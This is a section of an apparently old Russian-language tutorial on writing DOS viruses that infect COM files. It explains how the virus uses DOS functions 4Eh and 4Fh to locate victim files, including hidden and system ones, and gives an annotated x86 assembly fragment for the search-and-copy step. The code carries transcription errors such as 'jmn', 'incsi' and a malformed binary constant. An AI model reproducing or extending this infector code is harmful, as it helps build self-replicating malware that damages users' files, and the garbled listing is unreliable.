|
1.9 Ищем подходящий файл
Теперь самое время заняться поиском файла для заражения.Для поиска файла - жертвы мы будем использовать пару функций DOS : 4Eh ( поиск первого файла ) и 4Fh ( поиск следующего файла ) . При вызове
4Eh в регистр CX помещаются атрибуты искомого файла, а в DX - его имя и расширение . Установленная
нами маска предполагает поиск COM-файла, с атрибутами "archive","system" и "hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла
первый файл, удовлетворяющий нашим требованиям.Вирус будет вызывать ее в том случае, если найденный
файл ему не подходит (например, он слишком велик).
Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh .
А теперь приведем программный фрагмент, выполняющий поиск файла :
| find_first: | | |
| | mov ah,4eh | ;Поиск первого |
| | | ;файла... |
| | mov cx, 00100111ob | ;archive, system |
| | | ;hidden |
| | lea dx, mask | ;Маска для поиска |
| | int 21h | |
| | jnc r_3 | ;Нашли ! |
| | jmp restore_dte | ;Ошибка ! |
| | | |
| find_next: | mov ah,3eh | ;Закроем непод- |
| | int 21h | ;ходяший файл... |
| | jnc r_2 | |
| | jmn restore dta | ;Файл нельзя за- |
| | | :крыть.... |
| r_2: | mov ah,4fh | ;И найдем сле- |
| | int 21h | ;дующий.... |
| | jnc r_3 | ;Файл найден!!! |
| | jmp restore_dta | ;Ошибка |
| | | |
| r_3 | mov cx,12 | ;Сотрем в буфере |
| | lea si, fn | ;"fn" имя пред- |
| destroy_ name: | | ;ыдущего файла |
| | mov byte ptr [si],0 | ; |
| | incsi | ; |
| | loop destroy_name | ;Цикл 12 раз.... |
| | xor si,si | ;И запишем в бу- |
| copy_name: | mov al, byte ptr cs:[si+9eh] | |
| | cmp al,0 | ;фер имя только |
| | je open | ;Что найденного файла |
| | mov byte ptr ds:fn [si].al | ;В конце в имени в |
| | inc si | ;DTA всегда стоит ноль |
| | jmp copy_name | ;его мы и хотим достичь |
Имя файла в буфере " fn " необходимо стирать вот
почему .Например, первым был найден файл COMMAND.
COM, и пусть он не подошел вирусу.Тогда вирус попытается найти следующий файл.Пусть это будет WIN.
COM .Его имя запишется в область " fn ",и она примет вид : WINMAND.COM. Такого файла на диске, скорее всего,нет;если же попробовать к нему обратиться,это вызовет ошибку,и вирус закончит работу.Чтобы этого не случалось, область " fn " после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку
" restore_dta " . Затем вирус восстанавливает DTA
зараженной программы и осуществляет переход на ее
начало .
|
|
|